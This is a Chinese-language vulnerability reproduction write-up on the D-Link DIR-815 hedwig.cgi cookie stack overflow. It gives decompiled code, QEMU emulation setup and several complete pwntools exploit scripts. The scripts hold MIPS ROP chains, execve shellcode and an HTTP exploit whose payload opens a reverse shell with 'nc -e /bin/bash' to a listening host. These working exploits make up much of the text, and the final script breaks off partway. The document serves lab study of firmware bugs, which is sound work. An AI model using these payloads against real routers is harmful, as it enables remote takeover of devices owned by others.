D-Link_DIR-815_路由器溢出漏洞分析复现

基础分析

调试环境配置:ubuntu24.04 + virtualbox

已知情报:hedwig.cgi 组件中存在栈溢出漏洞。

通过查看文件系统,hedwig.cgi 实际上由 cgibin 实现功能。

IDA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *v3; // $s0
char *v6; // $v0
int (*v8)(); // $t9
int v9; // $a0

v3 = *argv;
v6 = strrchr(*argv, 0x2F);
if ( v6 )
v3 = v6 + 1;
if ( !strcmp(v3, "phpcgi") )
{
v8 = phpcgi_main;
v9 = argc;
return (v8)(v9, argv, envp);
}
// ......
if ( !strcmp(v3, "hedwig.cgi") )
{
v8 = hedwigcgi_main;
v9 = argc;
return (v8)(v9, argv, envp); // 通过这里进入
}
// ......
printf("CGI.BIN, unknown command %s\n", v3);
return 1;
}

hedwigcgi_main()函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int hedwigcgi_main()
{
char *v0; // $v0
const char *v1; // $a1
FILE *v2; // $s0
int v3; // $fp
int v4; // $s5
int v5; // $v0
const char *string; // $v0
FILE *v7; // $s2
int v8; // $v0
int v9; // $s7
int v10; // $v0
int *v11; // $s1
int i; // $s3
char *v13; // $v0
const char **v14; // $s1
int v15; // $s0
char *v16; // $v0
const char **v17; // $s1
int v18; // $s0
int v19; // $v0
const char *v20; // $v0
char v22[20]; // [sp+18h] [-4A8h] BYREF
char *v23; // [sp+2Ch] [-494h] BYREF
char *v24; // [sp+30h] [-490h]
int v25[3]; // [sp+34h] [-48Ch] BYREF
char v26[128]; // [sp+40h] [-480h] BYREF
char v27[1024]; // [sp+C0h] [-400h] BYREF

memset(v27, 0, sizeof(v27));
memset(v26, 0, sizeof(v26));
memcpy(v22, "/runtime/session", 0x11u);
v0 = getenv("REQUEST_METHOD"); // 此时读取环境变量REQUEST_METHOD
// ......
if ( strcasecmp(v0, "POST") ) // 要求必须是POST请求
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000); // 解析url内容
// ......
sess_get_uid(v4); // 关键函数读取HTTP_COOKIE
string = sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string); // 此处如果string超过v27的长度则会栈溢出
// ......
v7 = fopen("/var/tmp/temp.xml", "w"); //这两个条件需要使其不执行才能正常劫持
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack ) // 如果要满足这个条件需要进入cgibin_parse_request执行sub_409A6C设置其值
{
v1 = "no xml data.";
goto LABEL_34;
}
// ......
v20 = sobj_get_string(v4); // 中途v4无变化
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);
// ......
LABEL_26:
if ( haystack )
free(haystack);
if ( v3 )
sobj_del(v3);
if ( v4 )
sobj_del(v4);
return v9;
}

cgibin_parse_request函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
int __fastcall cgibin_parse_request(int a1, int a2, unsigned int a3)
{
char *v6; // $v0
unsigned int v7; // $s4
int v8; // $v1
unsigned int v9; // $s0
char *v10; // $a0
char *v11; // $v0
char *v12; // $s1
size_t v13; // $v0
char *v14; // $s2
int v15; // $s0
int v16; // $s1
size_t v17; // $s3
const char *v18; // $a1
int v20; // [sp+18h] [-18h] BYREF
int v21; // [sp+1Ch] [-14h]
int v22; // [sp+20h] [-10h]
int v23; // [sp+24h] [-Ch]
int v24; // [sp+28h] [-8h]

if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 ) // 这两个变量需要有值
v7 = atoi(v6);
else
v7 = 0;
v21 = sobj_new();
v8 = sobj_new();
v22 = v8;
v9 = 0xFFFFFFFF;
if ( v21 && v8 )
{
v10 = getenv("REQUEST_URI");
if ( v10 )
{
v11 = strchr(v10, '?');
v9 = 0;
if ( v11 ) // 需要进入该分支,意味着POST内容不能为空
{
v12 = v11 + 1;
v20 = 0;
v23 = a1;
v24 = a2;
v13 = strlen(v11 + 1);
sub_402B40(&v20, v12, v13);
sub_402B40(&v20, 0, 0);
v9 = 0;
}
}
else
{
v9 = 0xFFFFFFFF;
}
}
if ( v21 )
sobj_del(v21);
if ( v22 )
sobj_del(v22);
if ( v9 != 0xFFFFFFFF )
{
if ( a3 >= v7 )
{
if ( v7 )
{
getenv("CONTENT_TYPE");
v14 = getenv("CONTENT_TYPE");
if ( v14 ) // 需要进入该分支
{
v15 = 0x42C014;
v16 = 0;
while ( 1 )
{
v18 = *v15;
if ( !*v15 )
break;
v17 = *(v15 + 4);
v15 += 0xC;
++v16;
if ( !strncasecmp(v14, v18, v17) )
return ((&off_42C014)[3 * v16 - 1])(a1, a2, v7, &v14[v17]); // 最终会调用sub_409A6C
}
}
return 0xFFFFFFFF;
}
}
else
{
sub_402CE8(v7);
return 0xFFFFFF9C;
}
}
return v9;
}

sses_get_uid函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(int a1)
{
_DWORD *v2; // $s2
char *v3; // $v0
_DWORD *v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0

v2 = sobj_new();
v4 = sobj_new();
v3 = getenv("HTTP_COOKIE"); // 读取环境变量HTTP_COOKIE
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == ' ' )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == ';' )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(v2, v7); // 将=前的内容复制到v2
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++); // 将=后的内容复制到v4
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") ) // 检查=前的内容是否是uid
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string); // 将=后的内容拼接到a1也就是hedwigcgi_main函数中的目标溢出字符串
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}

配置 qemu 用户模式

生成栈溢出测试 payload :

1
cyclic 2000 > payload

新建 start.sh 文件:

1
2
3
4
5
6
7
#!/bin/bash

INPUT="winmt=pwner"
LEN=$(echo -n "$INPUT" | wc -c)
cookie="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$cookie -E REQUEST_URI="2333" -g 10000 ./htdocs/cgibin

该 start.sh 启用后会等待 gdb 连接 10000 端口进行调试。

注:该路由真机没有开地址随机化,可以通过此次 gdb 调试看 libc 中函数的真实地址减去偏移得到 libc地址。

攻击脚本参考

攻击 ROP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#loadsym = "glibc-debug --reload-symbols /home/zlsf/sysset/glibc-all-in-one/libs/2.41-6ubuntu1.1_amd64"
#code_addr = " ./glibc-2.41.tar.gz --force"

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'
#elf.arch , elf.so

libc_base = 0x2b300000

payload = b"A"*(0x3F1-0x24)
payload+= p32(libc_base + (0x53200-0x1)) # sp+0x4C0
payload+= p32(libc_base + 0x16830) # sp+0x4C0+0x4
payload+= b"A"*0xC
payload+= p32(libc_base + 0x5A448) # sp+0x4C0+0x14
payload+= b"A"*0xC
payload+= p32(libc_base + 0x32A98) # sp+0x4C0+0x24

payload = b"uid=" + payload

post_content = "A=A"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=3 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
-g 10000 \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

攻击 shellcode :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#loadsym = "glibc-debug --reload-symbols /home/zlsf/sysset/glibc-all-in-one/libs/2.41-6ubuntu1.1_amd64"
#code_addr = " ./glibc-2.41.tar.gz --force"

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'
#elf.arch , elf.so

libc_base = 0x2b300000

payload = b"A"*(0x3F1-0x24)
payload+= b"A"*0x4
payload+= p32(libc_base + 0x436D0) # $S1
payload+= b"A"*0x4
payload+= p32(libc_base + 0x56BD0) # $S3
payload+= b"A"*0x14
payload+= p32(libc_base + 0x57E50) # $ra

payload+= b"A"*0x28
payload+= p32(libc_base + 0x37E6C) # $4
payload+= p32(libc_base + 0x3B974) # $ra


shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')

payload+= b"A"*0x18
payload+= shellcode

payload = b"uid=" + payload

post_content = "A=A"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=3 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

配置 qemu 系统模式

宿主机配置

安装网络配置工具:

1
sudo apt-get install bridge-utils uml-utilities

使用 Netplan 配置网桥:

1
sudo vim /etc/netplan/*.yaml # 通常名为 00-installer-config.yaml、01-netcfg.yaml 或 50-cloud-init.yaml

修改配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
network:
version: 2
renderer: networkd # 服务器版通常用networkd
ethernets:
enp0s8: # 改成你实际的物理网卡名
dhcp4: no # 物理网卡本身不配置IP,交由网桥负责

bridges:
br0: # 网桥名字,可以自定义
interfaces: [enp0s8] # 必须与上面的网卡名一致
dhcp4: true # 如果你的网络是DHCP,网桥用这个获取IP
# 如果你需要静态IP,注释掉dhcp4,改用下面的配置:
# addresses:
# - 192.168.1.100/24
# routes:
# - to: default
# via: 192.168.1.1
# nameservers:
# addresses: [8.8.8.8, 114.114.114.114]
parameters:
stp: false # 关闭生成树协议,通常QEMU用不上
forward-delay: 0

应用配置:

1
2
sudo netplan try # 测试是否可行
sudo netplan apply # 真正应用

运行 ip addr 你应该看见:

1
2
3
4
5
6
7
8
9
10
11
12
...
3: enp0s8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel master br0 state UP group default qlen 1000
link/ether 08:00:27:aa:db:a4 brd ff:ff:ff:ff:ff:ff
inet6 fe80::a841:96fc:93c:584c/64 scope link noprefixroute
valid_lft forever preferred_lft forever
...
5: br0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
link/ether 5a:c9:4b:c0:9a:9d brd ff:ff:ff:ff:ff:ff
inet 192.168.8.5/24 metric 100 brd 192.168.8.255 scope global dynamic br0
valid_lft 6sec preferred_lft 6sec
inet6 fe80::58c9:4bff:fec0:9a9d/64 scope link
valid_lft forever preferred_lft forever

创建 bridge helper:

1
2
3
4
sudo mkdir -p /etc/qemu
echo "allow br0" | sudo tee /etc/qemu/bridge.conf
sudo chmod 755 /usr/lib/qemu/qemu-bridge-helper
sudo chmod u+s /usr/lib/qemu/qemu-bridge-helper

创建 qemu 网络启动脚本:

1
sudo vim /etc/qemu-ifup 

写入内容:

1
2
3
4
5
6
7
#!/bin/sh
echo "Executing /etc/qemu-ifup"
echo "Bringing up $1 for bridge mode..."
sudo /sbin/ip link set $1 up
echo "Adding $1 to br0..."
sudo /sbin/brctl addif br0 $1
sleep 2

赋予权限:

1
sudo chmod a+x /etc/qemu-ifup

编写 start.sh :

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-netdev bridge,id=net0,br=br0 \
-device pcnet,netdev=net0,mac=00:16:3e:00:00:01 \
-nographic \
-serial mon:stdio

下载内核和镜像:

1
2
wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_squeeze_mipsel_standard.qcow2

启动 qemu

1
./start.sh

默认账号 / 密码:root / root

配置 qemu 中的网络

查看网卡名称:

1
ip link show

一般会有一个回环和一个 eth1(也可能是其他名字)

我们要用的就是这个 eth1

编辑 qemu 中的网络配置:

1
nano /etc/network/interfaces

写入内容:

1
2
auto eth1
iface eth1 inet dhcp

其中eth1需要换成你实际 qemu 中显示的网卡名称

启用网卡:

1
ifup eth1

此时使用ip addr show你应该能看见192.168.*.*成功获取到地址。

打包传输文件系统

1
2
3
4
tar -czf squashfs-root.tar.gz -C ./squashfs-root .
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.8.6 "cd /root && mkdir squashfs-root"
scp -o HostKeyAlgorithms=+ssh-rsa squashfs-root.tar.gz root@192.168.8.6:/root/squashfs-root
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.8.6 "cd /root/squashfs-root && tar -xzf squashfs-root.tar.gz && rm squashfs-root.tar.gz"

准备 http 配置

建立文件 http_conf :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}

Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth1
Address 192.168.8.6
Port "8080"
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs
IndexNames { index.html }
Specials
{
CGI { cgi }
}
}
}
}

建立文件 init.sh :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash

# 关闭 ASLR
echo 0 > /proc/sys/kernel/randomize_va_space

# 复制配置文件
cp /root/squashfs-root/http_conf /

# 复制 httpd 二进制
cp /root/squashfs-root/sbin/httpd /sbin/
chmod +x /sbin/httpd

# 复制 htdocs
cp -rf /root/squashfs-root/htdocs /

# 备份并替换 etc(忽略警告)
mkdir -p /etc_bak
cp -r /etc /etc_bak
rm -f /etc/services
cp -rf /root/squashfs-root/etc/* /etc/ 2>/dev/null

# 复制库文件
cp /root/squashfs-root/lib/ld-uClibc-0.9.30.1.so /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libcrypt-0.9.30.1.so /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libc.so.0 /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libgcc_s.so.1 /lib/ 2>/dev/null
cp /root/squashfs-root/lib/ld-uClibc.so.0 /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libcrypt.so.0 /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libgcc_s.so /lib/ 2>/dev/null
cp /root/squashfs-root/lib/libuClibc-0.9.30.1.so /lib/ 2>/dev/null

# 创建符号链接(修复版)
mkdir -p /usr/sbin
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap

# 修复:直接链接到正确位置,避免路径重复
ln -s /htdocs/cgibin /htdocs/hedwig.cgi
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap

# 创建日志文件
touch /log

# 配置网卡
ifconfig eth1 192.168.8.6 netmask 255.255.255.0 up
route add default gw 192.168.8.1 2>/dev/null

# 修复 http_conf 配置(确保路径正确)
sed -i 's|Location /htdocs/web|Location /htdocs|g' /http_conf
sed -i 's|Interface eth0|Interface eth1|g' /http_conf
sed -i 's|Address .*|Address 192.168.8.6|g' /http_conf

echo "Starting HTTPD on eth1:192.168.8.6:8080"
cd /
/sbin/httpd -f /http_conf

echo "HTTP service started"
echo "Test with: curl http://192.168.8.6:8080/htdocs/hedwig.cgi"

建立文件 fin.sh :

1
2
3
4
5
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak
echo "Restored original /etc directory"

将其复制到 qemu 中:

1
2
3
4
scp -o HostKeyAlgorithms=+ssh-rsa http_conf root@192.168.8.6:/root/squashfs-root
scp -o HostKeyAlgorithms=+ssh-rsa init.sh root@192.168.8.6:/root/squashfs-root
scp -o HostKeyAlgorithms=+ssh-rsa fin.sh root@192.168.8.6:/root/squashfs-root
ssh -o HostKeyAlgorithms=+ssh-rsa root@192.168.8.6 "cd /root/squashfs-root && chmod +x init.sh fin.sh"

测试服务

在 qemu 中运行 init.sh:

1
./init.sh

注意:在退出 qemu 之前一定要运行 ./fin.sh ,否则下次 qemu 将不能正常启动。

在宿主机执行:

1
curl -v http://192.168.8.6:8080/hedwig.cgi

得到反馈:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
*   Trying 192.168.8.6:8080...
* Connected to 192.168.8.6 (192.168.8.6) port 8080
> GET /hedwig.cgi HTTP/1.1
> Host: 192.168.8.6:8080
> User-Agent: curl/8.5.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Server: Linux, HTTP/1.1,
< Date: Thu, 07 May 2026 05:42:31 GMT
< Transfer-Encoding: chunked
< Content-Type: text/xml
<
* Connection #0 to host 192.168.8.6 left intact
<hedwig><result>FAILED</result><message>unsupported HTTP request</message></hedwig>

可以查看 qemu 中的 /log 查看访问情况:

1
2
3
4
5
root@debian-mipsel:~/squashfs-root# cat /log
Thu May 7 05:41:57 2026 [1187] *** Mathopd/1.6b9 starting
Thu May 7 05:42:31 2026 [1187] process_headers: method[GET], nheaders=[3], URL[/hedwig.cgi]
Thu May 7 05:42:31 2026 [1187] child process 1188 exited with status 255
Thu May 7 05:43:28 2026 [1187] process_headers: method[GET], nheaders=[3], URL[/]

至此 qemu 系统模拟环境搭建完成。

调试

下载预编译好的 gdbserver 传入qemu 中:

1
git clone https://github.com/akpotter/embedded-toolkit.git

在 embedded-toolkit/prebuilt_static_bins/gdbserver/ 路径下找 gdbserver-7.12-mipsel-mips32rel2-v1-sysv

传入 qemu 中:

1
scp -o HostKeyAlgorithms=+ssh-rsa gdbserver-7.12-mipsel-mips32rel2-v1-sysv root@192.168.8.6:/root/gdbserver

直接附加到真正运行的 httd 上:

1
/root/gdbserver --attach :10000 $(pidof httpd)

接下来就是正常的使用 gdb-multiarch 进行远程调试操作。

攻击脚本参考

开启新终端监听:

1
nc -lvp 8888

使用 ROP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
from pwn import *
import requests
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
def gdbp(p,a='') :
if a!='':
gdb.attach(p,a)
pause()
else :
gdb.attach(p)
pause()

#p = remote({IP})
#p = process("./pwn")
#elf = ELF("./pwn")
#libc = ELF("./libc.so.6")
#lib = cdll.LoadLibrary(None)

#loadsym = "glibc-debug --reload-symbols /home/zlsf/sysset/glibc-all-in-one/libs/2.41-6ubuntu1.1_amd64"
#code_addr = " ./glibc-2.41.tar.gz --force"

#p = process(["qemu-mipsel-static","-g", "9999","-L","./","./pwn"])
#p = process(["qemu-mipsel-static","-L","./","./pwn"])

#context.log_level = 'debug'
context.arch = 'mips'
context.os = 'linux'
#elf.arch , elf.so

libc_base = 0x77f34000

cmd = b'nc -e /bin/bash 192.168.8.5 8888'

payload = b'A'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'A'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'A'*0x18
payload += cmd

url = "http://192.168.8.6:8080/hedwig.cgi"
data = {"A" : "A"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "3"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

使用 shellcode :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
from pwn import *
import requests
#from ctypes import *

def stre(a) : return str(a).encode()
def ph(a,b="addr") : print(b+": "+hex(a))
def re(a) : return p.recv(a)
def pre(a) : print(p.recv(a))
def reu(a,b=False) : return p.recvuntil(a,drop=b)
def rel() : return p.recvline()
def se(a) : p.send(a)
def sea(a,b) : p.sendafter(a,b)
def sel(a) : p.sendline(a)
def sela(a,b) : p.sendlineafter(a,b)
def op() : p.interactive()
def cp() : p.close()
def raddr64() : return u64(p.recv(6).ljust(8,b'\x00'))
def raddr32() : return u32(p.recv(4))
def raddr_T() : return int(re(14),16)
def raddr_A() : return int(reu(b"-",True),16)
def orw_rop64(pop_rdi,pop_rsi,pop_rdx,flag_addr,open_addr,read_addr,write_addr):
orw = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open_addr)
orw+= p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(read_addr)
orw+= p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)
orw+= p64(write_addr)
return orw
def getorw(name,buf,Arch) :
sh=shellcraft.open(name)
sh+=shellcraft.read(3,buf,0x30)
sh+=shellcraft.write(1,buf,0x30)
sh=asm(sh,arch=Arch)
return sh
